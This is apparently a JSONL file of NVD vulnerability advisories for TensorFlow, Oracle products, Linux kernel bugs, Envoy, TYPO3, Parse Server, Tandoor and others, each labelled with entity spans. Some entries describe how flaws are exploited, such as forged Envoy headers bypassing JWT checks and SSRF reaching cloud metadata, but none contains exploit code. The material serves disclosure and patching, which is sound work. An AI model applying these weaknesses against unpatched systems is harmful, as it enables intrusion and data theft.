{"text": "TensorFlow is an end-to-end open source platform for machine learning. Specifying a negative dense shape in `tf.raw_ops.SparseCountSparseOutput` results in a segmentation fault being thrown out from the standard library as `std::vector` invariants are broken. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/8f7b60ee8c0206a2c99802e3a4d1bb55d2bc0624/tensorflow/core/kernels/count_ops.cc#L199-L213) assumes the first element of the dense shape is always positive and uses it to initialize a `BatchedMap<T>` (i.e., `std::vector<absl::flat_hash_map<int64,T>>`(https://github.com/tensorflow/tensorflow/blob/8f7b60ee8c0206a2c99802e3a4d1bb55d2bc0624/tensorflow/core/kernels/count_ops.cc#L27)) data structure. If the `shape` tensor has more than one element, `num_batches` is the first value in `shape`. Ensuring that the `dense_shape` argument is a valid tensor shape (that is, all elements are non-negative) solves this issue. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2 and TensorFlow 2.3.3.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/8f7b60ee8c0206a2c99802e3a4d1bb55d2bc0624/tensorflow/core/kernels/count_ops.cc#L199-L213": [[295, 428]], "URL: https://github.com/tensorflow/tensorflow/blob/8f7b60ee8c0206a2c99802e3a4d1bb55d2bc0624/tensorflow/core/kernels/count_ops.cc#L27": [[589, 716]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29521"}}
{"text": "Vulnerability in the Oracle Common Applications product of Oracle E-Business Suite (component: CRM User Management Framework). Supported versions that are affected are 12.1.1-12.1.3 and 12.2.3-12.2.10. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Common Applications. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Common Applications, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Common Applications accessible data as well as unauthorized update, insert or delete access to some of Oracle Common Applications accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [59, 65], [310, 316], [455, 461], [655, 661], [765, 771]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-2436"}}
{"text": "Wasmtime is a standalone runtime for WebAssembly. In affected versions wasmtime's implementation of the SIMD proposal for WebAssembly on x86_64 contained two distinct bugs in the instruction lowerings implemented in Cranelift. The aarch64 implementation of the simd proposal is not affected. The bugs were presented in the `i8x16.swizzle` and `select` WebAssembly instructions. The `select` instruction is only affected when the inputs are of `v128` type. The correspondingly affected Cranelift instructions were `swizzle` and `select`. The `swizzle` instruction lowering in Cranelift erroneously overwrote the mask input register which could corrupt a constant value, for example. This means that future uses of the same constant may see a different value than the constant itself. The `select` instruction lowering in Cranelift wasn't correctly implemented for vector types that are 128-bits wide. When the condition was 0 the wrong instruction was used to move the correct input to the output of the instruction meaning that only the low 32 bits were moved and the upper 96 bits of the result were left as whatever the register previously contained (instead of the input being moved from). The `select` instruction worked correctly if the condition was nonzero, however. This bug in Wasmtime's implementation of these instructions on x86_64 represents an incorrect implementation of the specified semantics of these instructions according to the WebAssembly specification. The impact of this is benign for hosts running WebAssembly but represents possible vulnerabilities within the execution of a guest program. For example a WebAssembly program could take unintended branches or materialize incorrect values internally which runs the risk of exposing the program itself to other related vulnerabilities which can occur from miscompilations. We have released Wasmtime 0.38.1 and cranelift-codegen (and other associated cranelift crates) 0.85.1 which contain the corrected implementations of these two instructions in Cranelift. If upgrading is not an option for you at this time, you can avoid the vulnerability by disabling the Wasm simd proposal. Additionally the bug is only present on x86_64 hosts. Other aarch64 hosts are not affected. Note that s390x hosts don't yet implement the simd proposal and are not affected.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-31104"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nx86/kexec: fix memory leak of elf header buffer\n\nThis is reported by kmemleak detector:\n\nunreferenced object 0xffffc900002a9000 (size 4096):\n  comm \"kexec\", pid 14950, jiffies 4295110793 (age 373.951s)\n  hex dump (first 32 bytes):\n    7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00  .ELF............\n    04 00 3e 00 01 00 00 00 00 00 00 00 00 00 00 00  ..>.............\n  backtrace:\n    [<0000000016a8ef9f>] __vmalloc_node_range+0x101/0x170\n    [<000000002b66b6c0>] __vmalloc_node+0xb4/0x160\n    [<00000000ad40107d>] crash_prepare_elf64_headers+0x8e/0xcd0\n    [<0000000019afff23>] crash_load_segments+0x260/0x470\n    [<0000000019ebe95c>] bzImage64_load+0x814/0xad0\n    [<0000000093e16b05>] arch_kexec_kernel_image_load+0x1be/0x2a0\n    [<000000009ef2fc88>] kimage_file_alloc_init+0x2ec/0x5a0\n    [<0000000038f5a97a>] __do_sys_kexec_file_load+0x28d/0x530\n    [<0000000087c19992>] do_syscall_64+0x3b/0x90\n    [<0000000066e063a4>] entry_SYSCALL_64_after_hwframe+0x44/0xae\n\nIn crash_prepare_elf64_headers(), a buffer is allocated via vmalloc() to\nstore elf headers.  While it's not freed back to system correctly when\nkdump kernel is reloaded or unloaded.  Then memory leak is caused.  Fix it\nby introducing x86 specific function arch_kimage_file_post_load_cleanup(),\nand freeing the buffer there.\n\nAnd also remove the incorrect elf header buffer freeing code.  Before\ncalling arch specific kexec_file loading function, the image instance has\nbeen initialized.  So 'image->elf_headers' must be NULL.  It doesn't make\nsense to free the elf header buffer in the place.\n\nThree different people have reported three bugs about the memory leak on\nx86_64 inside Redhat.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory leak": [[84, 95], [1227, 1238], [1691, 1702]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49546"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nquota: fix warning in dqgrab()\n\nThere's issue as follows when do fault injection:\nWARNING: CPU: 1 PID: 14870 at include/linux/quotaops.h:51 dquot_disable+0x13b7/0x18c0\nModules linked in:\nCPU: 1 PID: 14870 Comm: fsconfig Not tainted 6.3.0-next-20230505-00006-g5107a9c821af-dirty #541\nRIP: 0010:dquot_disable+0x13b7/0x18c0\nRSP: 0018:ffffc9000acc79e0 EFLAGS: 00010246\nRAX: 0000000000000000 RBX: 0000000000000000 RCX: ffff88825e41b980\nRDX: 0000000000000000 RSI: ffff88825e41b980 RDI: 0000000000000002\nRBP: ffff888179f68000 R08: ffffffff82087ca7 R09: 0000000000000000\nR10: 0000000000000001 R11: ffffed102f3ed026 R12: ffff888179f68130\nR13: ffff888179f68110 R14: dffffc0000000000 R15: ffff888179f68118\nFS:  00007f450a073740(0000) GS:ffff88882fc00000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007ffe96f2efd8 CR3: 000000025c8ad000 CR4: 00000000000006e0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n <TASK>\n dquot_load_quota_sb+0xd53/0x1060\n dquot_resume+0x172/0x230\n ext4_reconfigure+0x1dc6/0x27b0\n reconfigure_super+0x515/0xa90\n __x64_sys_fsconfig+0xb19/0xd20\n do_syscall_64+0x39/0xb0\n entry_SYSCALL_64_after_hwframe+0x63/0xcd\n\nAbove issue may happens as follows:\nProcessA              ProcessB                    ProcessC\nsys_fsconfig\n  vfs_fsconfig_locked\n   reconfigure_super\n     ext4_remount\n      dquot_suspend -> suspend all type quota\n\n                 sys_fsconfig\n                  vfs_fsconfig_locked\n                    reconfigure_super\n                     ext4_remount\n                      dquot_resume\n                       ret = dquot_load_quota_sb\n                        add_dquot_ref\n                                           do_open  -> open file O_RDWR\n                                            vfs_open\n                                             do_dentry_open\n                                              get_write_access\n                                               atomic_inc_unless_negative(&inode->i_writecount)\n                                              ext4_file_open\n                                               dquot_file_open\n                                                dquot_initialize\n                                                  __dquot_initialize\n                                                   dqget\n\t\t\t\t\t\t    atomic_inc(&dquot->dq_count);\n\n                          __dquot_initialize\n                           __dquot_initialize\n                            dqget\n                             if (!test_bit(DQ_ACTIVE_B, &dquot->dq_flags))\n                               ext4_acquire_dquot\n\t\t\t        -> Return error DQ_ACTIVE_B flag isn't set\n                         dquot_disable\n\t\t\t  invalidate_dquots\n\t\t\t   if (atomic_read(&dquot->dq_count))\n\t                    dqgrab\n\t\t\t     WARN_ON_ONCE(!test_bit(DQ_ACTIVE_B, &dquot->dq_flags))\n\t                      -> Trigger warning\n\nIn the above scenario, 'dquot->dq_flags' has no DQ_ACTIVE_B is normal when\ndqgrab().\nTo solve above issue just replace the dqgrab() use in invalidate_dquots() with\natomic_inc(&dquot->dq_count).", "spans": {"FILEPATH: /linux/quotaops.h": [[188, 205]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-54177"}}
{"text": "TYPO3 is an open source PHP based web content management system. In TYPO3 before versions 8.7.40, 9.5.25, 10.4.14, 11.1.1, due to the lack of ensuring file extensions belong to configured allowed mime-types, attackers can upload arbitrary data with arbitrary file extensions - however, default _fileDenyPattern_ successfully blocked files like _.htaccess_ or _malicious.php_. Besides that, _UploadedFileReferenceConverter_ transforming uploaded files into proper FileReference domain model objects handles possible file uploads for other extensions as well - given those extensions use the Extbase MVC framework, make use of FileReference items in their direct or inherited domain model definitions and did not implement their own type converter. In case this scenario applies, _UploadedFileReferenceConverter_ accepts any file mime-type and persists files in the default location. In any way, uploaded files are placed in the default location _/fileadmin/user_upload/_, in most scenarios keeping the submitted filename - which allows attackers to directly reference files, or even correctly guess filenames used by other individuals, disclosing this information. No authentication is required to exploit this vulnerability. This is fixed in versions 8.7.40, 9.5.25, 10.4.14, 11.1.1.", "spans": {"FILEPATH: /fileadmin/user_upload/_": [[945, 969]], "SYSTEM: PHP": [[24, 27]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-21355"}}
{"text": "Post-Quantum Secure Feldman's Verifiable Secret Sharing provides a Python implementation of Feldman's Verifiable Secret Sharing (VSS) scheme. In versions 0.8.0b2 and prior, the `feldman_vss` library contains timing side-channel vulnerabilities in its matrix operations, specifically within the `_find_secure_pivot` function and potentially other parts of `_secure_matrix_solve`. These vulnerabilities are due to Python's execution model, which does not guarantee constant-time execution. An attacker with the ability to measure the execution time of these functions (e.g., through repeated calls with carefully crafted inputs) could potentially recover secret information used in the Verifiable Secret Sharing (VSS) scheme. The `_find_secure_pivot` function, used during Gaussian elimination in `_secure_matrix_solve`, attempts to find a non-zero pivot element. However, the conditional statement `if matrix[row][col] != 0 and row_random < min_value:` has execution time that depends on the value of `matrix[row][col]`. This timing difference can be exploited by an attacker. The `constant_time_compare` function in this file also does not provide a constant-time guarantee. The Python implementation of matrix operations in the _find_secure_pivot and _secure_matrix_solve functions cannot guarantee constant-time execution, potentially leaking information about secret polynomial coefficients. An attacker with the ability to make precise timing measurements of these operations could potentially extract secret information through statistical analysis of execution times, though practical exploitation would require significant expertise and controlled execution environments. Successful exploitation of these timing side-channels could allow an attacker to recover secret keys or other sensitive information protected by the VSS scheme. This could lead to a complete compromise of the shared secret. As of time of publication, no patched versions of Post-Quantum Secure Feldman's Verifiable Secret Sharing exist, but other mitigations are available. As acknowledged in the library's documentation, these vulnerabilities cannot be adequately addressed in pure Python. In the short term, consider using this library only in environments where timing measurements by attackers are infeasible. In the medium term, implement your own wrappers around critical operations using constant-time libraries in languages like Rust, Go, or C. In the long term, wait for the planned Rust implementation mentioned in the library documentation that will properly address these issues.", "spans": {"SYSTEM: Python": [[67, 73], [412, 418], [1179, 1185], [2162, 2168]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-29780"}}
{"text": "Envoy is an open source edge and service proxy designed for cloud-native applications. Prior to versions 1.26.0, 1.25.3, 1.24.4, 1.23.6, and 1.22.9, the client may bypass JSON Web Token (JWT) checks and forge fake original paths. The header `x-envoy-original-path` should be an internal header, but Envoy does not remove this header from the request at the beginning of request processing when it is sent from an untrusted client. The faked header would then be used for trace logs and grpc logs, as well as used in the URL used for `jwt_authn` checks if the `jwt_authn` filter is used, and any other upstream use of the x-envoy-original-path header. Attackers may forge a trusted `x-envoy-original-path` header. Versions 1.26.0, 1.25.3, 1.24.4, 1.23.6, and 1.22.9 have patches for this issue.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-27487"}}
{"text": "Matrix is an ecosystem for open federated Instant Messaging and Voice over IP. In versions 1.41.0 and prior, unauthorised users can access the membership (list of members, with their display names) of a room if they know the ID of the room. The vulnerability is limited to rooms with `shared` history visibility. Furthermore, the unauthorised user must be using an account on a vulnerable homeserver that is in the room. Server administrators should upgrade to 1.41.1 or later in order to receive the patch. One workaround is available. Administrators of servers that use a reverse proxy could, with potentially unacceptable loss of functionality, block the endpoints: `/_matrix/client/r0/rooms/{room_id}/members` with `at` query parameter, and `/_matrix/client/unstable/rooms/{room_id}/members` with `at` query parameter.", "spans": {"FILEPATH: /_matrix/client/r0/rooms": [[670, 694]], "FILEPATH: /_matrix/client/unstable/rooms": [[746, 776]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-39164"}}
{"text": "OpenTelemetry-Go Contrib is a collection of third-party packages for OpenTelemetry-Go. A handler wrapper out of the box adds labels `http.user_agent` and `http.method` that have unbound cardinality. It leads to the server's potential memory exhaustion when many malicious requests are sent to it. HTTP header User-Agent or HTTP method for requests can be easily set by an attacker to be random and long. The library internally uses `httpconv.ServerRequest` that records every value for HTTP `method` and `User-Agent`. In order to be affected, a program has to use the `otelhttp.NewHandler` wrapper and not filter any unknown HTTP methods or User agents on the level of CDN, LB, previous middleware, etc. Version 0.44.0 fixed this issue when the values collected for attribute `http.request.method` were changed to be restricted to a set of well-known values and other high cardinality attributes were removed. As a workaround to stop being affected, `otelhttp.WithFilter()` can be used, but it requires manual careful configuration to not log certain requests entirely. For convenience and safe usage of this library, it should by default mark with the label `unknown` non-standard HTTP methods and User agents to show that such requests were made but do not increase cardinality. In case someone wants to stay with the current behavior, library API should allow to enable it.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-45142"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: mcast: fix data-race in ipv6_mc_down / mld_ifc_work\n\nidev->mc_ifc_count can be written over without proper locking.\n\nOriginally found by syzbot [1], fix this issue by encapsulating calls\nto mld_ifc_stop_work() (and mld_gq_stop_work() for good measure) with\nmutex_lock() and mutex_unlock() accordingly as these functions\nshould only be called with mc_lock per their declarations.\n\n[1]\nBUG: KCSAN: data-race in ipv6_mc_down / mld_ifc_work\n\nwrite to 0xffff88813a80c832 of 1 bytes by task 3771 on cpu 0:\n mld_ifc_stop_work net/ipv6/mcast.c:1080 [inline]\n ipv6_mc_down+0x10a/0x280 net/ipv6/mcast.c:2725\n addrconf_ifdown+0xe32/0xf10 net/ipv6/addrconf.c:3949\n addrconf_notify+0x310/0x980\n notifier_call_chain kernel/notifier.c:93 [inline]\n raw_notifier_call_chain+0x6b/0x1c0 kernel/notifier.c:461\n __dev_notify_flags+0x205/0x3d0\n dev_change_flags+0xab/0xd0 net/core/dev.c:8685\n do_setlink+0x9f6/0x2430 net/core/rtnetlink.c:2916\n rtnl_group_changelink net/core/rtnetlink.c:3458 [inline]\n __rtnl_newlink net/core/rtnetlink.c:3717 [inline]\n rtnl_newlink+0xbb3/0x1670 net/core/rtnetlink.c:3754\n rtnetlink_rcv_msg+0x807/0x8c0 net/core/rtnetlink.c:6558\n netlink_rcv_skb+0x126/0x220 net/netlink/af_netlink.c:2545\n rtnetlink_rcv+0x1c/0x20 net/core/rtnetlink.c:6576\n netlink_unicast_kernel net/netlink/af_netlink.c:1342 [inline]\n netlink_unicast+0x589/0x650 net/netlink/af_netlink.c:1368\n netlink_sendmsg+0x66e/0x770 net/netlink/af_netlink.c:1910\n ...\n\nwrite to 0xffff88813a80c832 of 1 bytes by task 22 on cpu 1:\n mld_ifc_work+0x54c/0x7b0 net/ipv6/mcast.c:2653\n process_one_work kernel/workqueue.c:2627 [inline]\n process_scheduled_works+0x5b8/0xa30 kernel/workqueue.c:2700\n worker_thread+0x525/0x730 kernel/workqueue.c:2781\n ...", "spans": {"FILEPATH: /ipv6/mcast.c": [[597, 610], [654, 667], [1601, 1614]], "FILEPATH: /ipv6/addrconf.c": [[705, 721]], "FILEPATH: /core/dev.c": [[928, 939]], "FILEPATH: /core/rtnetlink.c": [[973, 990], [1022, 1039], [1073, 1090], [1135, 1152], [1192, 1209], [1302, 1319]], "FILEPATH: /netlink/af_netlink.c": [[1247, 1268], [1352, 1373], [1420, 1441], [1479, 1500]], "FILEPATH: notifier.c": [[784, 794], [850, 860]], "FILEPATH: workqueue.c": [[1645, 1656], [1715, 1726], [1766, 1777]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-26631"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: i2c: ar0521: Use cansleep version of gpiod_set_value()\n\nIf we use GPIO reset from I2C port expander, we must use *_cansleep()\nvariant of GPIO functions.\nThis was not done in ar0521_power_on()/ar0521_power_off() functions.\nLet's fix that.\n\n------------[ cut here ]------------\nWARNING: CPU: 0 PID: 11 at drivers/gpio/gpiolib.c:3496 gpiod_set_value+0x74/0x7c\nModules linked in:\nCPU: 0 PID: 11 Comm: kworker/u16:0 Not tainted 6.10.0 #53\nHardware name: Diasom DS-RK3568-SOM-EVB (DT)\nWorkqueue: events_unbound deferred_probe_work_func\npstate: 80400009 (Nzcv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\npc : gpiod_set_value+0x74/0x7c\nlr : ar0521_power_on+0xcc/0x290\nsp : ffffff8001d7ab70\nx29: ffffff8001d7ab70 x28: ffffff80027dcc90 x27: ffffff8003c82000\nx26: ffffff8003ca9250 x25: ffffffc080a39c60 x24: ffffff8003ca9088\nx23: ffffff8002402720 x22: ffffff8003ca9080 x21: ffffff8003ca9088\nx20: 0000000000000000 x19: ffffff8001eb2a00 x18: ffffff80efeeac80\nx17: 756d2d6332692f30 x16: 0000000000000000 x15: 0000000000000000\nx14: ffffff8001d91d40 x13: 0000000000000016 x12: ffffffc080e98930\nx11: ffffff8001eb2880 x10: 0000000000000890 x9 : ffffff8001d7a9f0\nx8 : ffffff8001d92570 x7 : ffffff80efeeac80 x6 : 000000003fc6e780\nx5 : ffffff8001d91c80 x4 : 0000000000000002 x3 : 0000000000000000\nx2 : 0000000000000000 x1 : 0000000000000000 x0 : 0000000000000001\nCall trace:\n gpiod_set_value+0x74/0x7c\n ar0521_power_on+0xcc/0x290\n...", "spans": {"FILEPATH: /gpio/gpiolib.c": [[386, 401]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-49961"}}
{"text": "Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to versions 8.6.53 and 9.6.0-alpha.42, Parse Server's LiveQuery WebSocket interface does not enforce Class-Level Permission (CLP) pointer permissions (readUserFields and pointerFields). Any authenticated user can subscribe to LiveQuery events and receive real-time updates for all objects in classes protected by pointer permissions, regardless of whether the pointer fields on those objects point to the subscribing user. This bypasses the intended read access control, allowing unauthorized access to potentially sensitive data that is correctly restricted via the REST API. This issue has been patched in versions 8.6.53 and 9.6.0-alpha.42.", "spans": {"FILEPATH: Node.js": [[95, 102]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33421"}}
{"text": "The Tawk.To Live Chat WordPress plugin before 0.6.0 does not have capability and CSRF checks in the tawkto_setwidget and tawkto_removewidget AJAX actions, available to any authenticated user. The first one allows low-privileged users (including simple subscribers) to change the 'tawkto-embed-widget-page-id' and 'tawkto-embed-widget-widget-id' parameters. Any authenticated user can thus link the vulnerable website to their own Tawk.to instance. Consequently, they will be able to monitor the vulnerable website and interact with its visitors (receive contact messages, answer, ...). They will also be able to display an arbitrary Knowledge Base. The second one will remove the live chat widget from pages.", "spans": {"SYSTEM: WordPress": [[22, 31]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-24914"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/srpt: Add a check for valid 'mad_agent' pointer\n\nWhen unregistering MAD agent, srpt module has a non-null check\nfor 'mad_agent' pointer before invoking ib_unregister_mad_agent().\nThis check can pass if 'mad_agent' variable holds an error value.\nThe 'mad_agent' can have an error value for a short window when\nsrpt_add_one() and srpt_remove_one() is executed simultaneously.\n\nIn srpt module, added a valid pointer check for 'sport->mad_agent'\nbefore unregistering MAD agent.\n\nThis issue can hit when RoCE driver unregisters ib_device\n\nStack Trace:\n------------\nBUG: kernel NULL pointer dereference, address: 000000000000004d\nPGD 145003067 P4D 145003067 PUD 2324fe067 PMD 0\nOops: 0002 [#1] PREEMPT SMP NOPTI\nCPU: 10 PID: 4459 Comm: kworker/u80:0 Kdump: loaded Tainted: P\nHardware name: Dell Inc. PowerEdge R640/06NR82, BIOS 2.5.4 01/13/2020\nWorkqueue: bnxt_re bnxt_re_task [bnxt_re]\nRIP: 0010:_raw_spin_lock_irqsave+0x19/0x40\nCall Trace:\n  ib_unregister_mad_agent+0x46/0x2f0 [ib_core]\n  IPv6: ADDRCONF(NETDEV_CHANGE): bond0: link becomes ready\n  ? __schedule+0x20b/0x560\n  srpt_unregister_mad_agent+0x93/0xd0 [ib_srpt]\n  srpt_remove_one+0x20/0x150 [ib_srpt]\n  remove_client_context+0x88/0xd0 [ib_core]\n  bond0: (slave p2p1): link status definitely up, 100000 Mbps full duplex\n  disable_device+0x8a/0x160 [ib_core]\n  bond0: active interface up!\n  ? kernfs_name_hash+0x12/0x80\n (NULL device *): Bonding Info Received: rdev: 000000006c0b8247\n  __ib_unregister_device+0x42/0xb0 [ib_core]\n (NULL device *):         Master: mode: 4 num_slaves:2\n  ib_unregister_device+0x22/0x30 [ib_core]\n (NULL device *):         Slave: id: 105069936 name:p2p1 link:0 state:0\n  bnxt_re_stopqps_and_ib_uninit+0x83/0x90 [bnxt_re]\n  bnxt_re_alloc_lag+0x12e/0x4e0 [bnxt_re]", "spans": {"FILEPATH: /13/2020": [[904, 912]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Dell": [[858, 862]], "VULNERABILITY: NULL pointer dereference": [[646, 670]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-54274"}}
{"text": "Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Prior to 2.5.1, there is a Blind Server-Side Request Forgery (SSRF) vulnerability in the Cookmate recipe import feature of Tandoor Recipes. The application fails to validate the destination URL after following HTTP redirects, allowing any authenticated user (including standard users without administrative privileges) to force the server to connect to arbitrary internal or external resources. The vulnerability lies in cookbook/integration/cookmate.py, within the Cookmate integration class. This vulnerability can be leveraged to scan internal network ports, access cloud instance metadata (e.g., AWS/GCP Metadata Service), or disclose the server's real IP address. This vulnerability is fixed in 2.5.1.", "spans": {"FILEPATH: /integration/cookmate.py": [[530, 554]], "ORGANIZATION: AWS": [[701, 704]], "VULNERABILITY: Server-Side Request Forgery": [[134, 161]], "VULNERABILITY: SSRF": [[163, 167]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-25991"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: usb: smsc75xx: Fix uninit-value access in __smsc75xx_read_reg\n\nsyzbot reported the following uninit-value access issue:\n\n=====================================================\nBUG: KMSAN: uninit-value in smsc75xx_wait_ready drivers/net/usb/smsc75xx.c:975 [inline]\nBUG: KMSAN: uninit-value in smsc75xx_bind+0x5c9/0x11e0 drivers/net/usb/smsc75xx.c:1482\nCPU: 0 PID: 8696 Comm: kworker/0:3 Not tainted 5.8.0-rc5-syzkaller #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/01/2011\nWorkqueue: usb_hub_wq hub_event\nCall Trace:\n __dump_stack lib/dump_stack.c:77 [inline]\n dump_stack+0x21c/0x280 lib/dump_stack.c:118\n kmsan_report+0xf7/0x1e0 mm/kmsan/kmsan_report.c:121\n __msan_warning+0x58/0xa0 mm/kmsan/kmsan_instr.c:215\n smsc75xx_wait_ready drivers/net/usb/smsc75xx.c:975 [inline]\n smsc75xx_bind+0x5c9/0x11e0 drivers/net/usb/smsc75xx.c:1482\n usbnet_probe+0x1152/0x3f90 drivers/net/usb/usbnet.c:1737\n usb_probe_interface+0xece/0x1550 drivers/usb/core/driver.c:374\n really_probe+0xf20/0x20b0 drivers/base/dd.c:529\n driver_probe_device+0x293/0x390 drivers/base/dd.c:701\n __device_attach_driver+0x63f/0x830 drivers/base/dd.c:807\n bus_for_each_drv+0x2ca/0x3f0 drivers/base/bus.c:431\n __device_attach+0x4e2/0x7f0 drivers/base/dd.c:873\n device_initial_probe+0x4a/0x60 drivers/base/dd.c:920\n bus_probe_device+0x177/0x3d0 drivers/base/bus.c:491\n device_add+0x3b0e/0x40d0 drivers/base/core.c:2680\n usb_set_configuration+0x380f/0x3f10 drivers/usb/core/message.c:2032\n usb_generic_driver_probe+0x138/0x300 drivers/usb/core/generic.c:241\n usb_probe_device+0x311/0x490 drivers/usb/core/driver.c:272\n really_probe+0xf20/0x20b0 drivers/base/dd.c:529\n driver_probe_device+0x293/0x390 drivers/base/dd.c:701\n __device_attach_driver+0x63f/0x830 drivers/base/dd.c:807\n bus_for_each_drv+0x2ca/0x3f0 drivers/base/bus.c:431\n __device_attach+0x4e2/0x7f0 drivers/base/dd.c:873\n device_initial_probe+0x4a/0x60 drivers/base/dd.c:920\n bus_probe_device+0x177/0x3d0 drivers/base/bus.c:491\n device_add+0x3b0e/0x40d0 drivers/base/core.c:2680\n usb_new_device+0x1bd4/0x2a30 drivers/usb/core/hub.c:2554\n hub_port_connect drivers/usb/core/hub.c:5208 [inline]\n hub_port_connect_change drivers/usb/core/hub.c:5348 [inline]\n port_event drivers/usb/core/hub.c:5494 [inline]\n hub_event+0x5e7b/0x8a70 drivers/usb/core/hub.c:5576\n process_one_work+0x1688/0x2140 kernel/workqueue.c:2269\n worker_thread+0x10bc/0x2730 kernel/workqueue.c:2415\n kthread+0x551/0x590 kernel/kthread.c:292\n ret_from_fork+0x1f/0x30 arch/x86/entry/entry_64.S:293\n\nLocal variable ----buf.i87@smsc75xx_bind created at:\n __smsc75xx_read_reg drivers/net/usb/smsc75xx.c:83 [inline]\n smsc75xx_wait_ready drivers/net/usb/smsc75xx.c:968 [inline]\n smsc75xx_bind+0x485/0x11e0 drivers/net/usb/smsc75xx.c:1482\n __smsc75xx_read_reg drivers/net/usb/smsc75xx.c:83 [inline]\n smsc75xx_wait_ready drivers/net/usb/smsc75xx.c:968 [inline]\n smsc75xx_bind+0x485/0x11e0 drivers/net/usb/smsc75xx.c:1482\n\nThis issue is caused because usbnet_read_cmd() reads less bytes than requested\n(zero byte in the reproducer). In this case, 'buf' is not properly filled.\n\nThis patch fixes the issue by returning -ENODATA if usbnet_read_cmd() reads\nless bytes than requested.", "spans": {"FILEPATH: /net/usb/smsc75xx.c": [[304, 323], [399, 418], [850, 869], [918, 937], [2676, 2695], [2736, 2755], [2804, 2823], [2857, 2876], [2917, 2936], [2985, 3004]], "FILEPATH: /01/2011": [[575, 583]], "FILEPATH: /kmsan/kmsan_report.c": [[743, 764]], "FILEPATH: /kmsan/kmsan_instr.c": [[797, 817]], "FILEPATH: /net/usb/usbnet.c": [[978, 995]], "FILEPATH: /usb/core/driver.c": [[1042, 1060], [1664, 1682]], "FILEPATH: /base/dd.c": [[1099, 1109], [1154, 1164], [1212, 1222], [1316, 1326], [1370, 1380], [1721, 1731], [1776, 1786], [1834, 1844], [1938, 1948], [1992, 2002]], "FILEPATH: /base/bus.c": [[1264, 1275], [1422, 1433], [1886, 1897], [2044, 2055]], "FILEPATH: /base/core.c": [[1471, 1483], [2093, 2105]], "FILEPATH: /usb/core/message.c": [[1533, 1552]], "FILEPATH: /usb/core/generic.c": [[1603, 1622]], "FILEPATH: /usb/core/hub.c": [[2148, 2163], [2194, 2209], [2256, 2271], [2305, 2320], [2367, 2382]], "FILEPATH: /x86/entry/entry_64.S": [[2568, 2589]], "FILEPATH: dump_stack.c": [[646, 658], [699, 711]], "FILEPATH: workqueue.c": [[2427, 2438], [2480, 2491]], "FILEPATH: kthread.c": [[2525, 2534]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[509, 515], [516, 522], [538, 544], [566, 572]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52528"}}
{"text": "Vulnerability in the Primavera Portfolio Management product of Oracle Construction and Engineering (component: Web Access). Supported versions that are affected are 16.1.0.0-16.1.5.1, 18.0.0.0-18.0.2.0 and 19.0.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Primavera Portfolio Management. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Primavera Portfolio Management accessible data as well as unauthorized update, insert or delete access to some of Primavera Portfolio Management accessible data. CVSS 3.1 Base Score 5.9 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N).", "spans": {"IP_ADDRESS: 16.1.0.0": [[165, 173]], "IP_ADDRESS: 16.1.5.1": [[174, 182]], "IP_ADDRESS: 18.0.0.0": [[184, 192]], "IP_ADDRESS: 18.0.2.0": [[193, 201]], "IP_ADDRESS: 19.0.0.0": [[206, 214]], "ORGANIZATION: Oracle": [[63, 69]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14527"}}
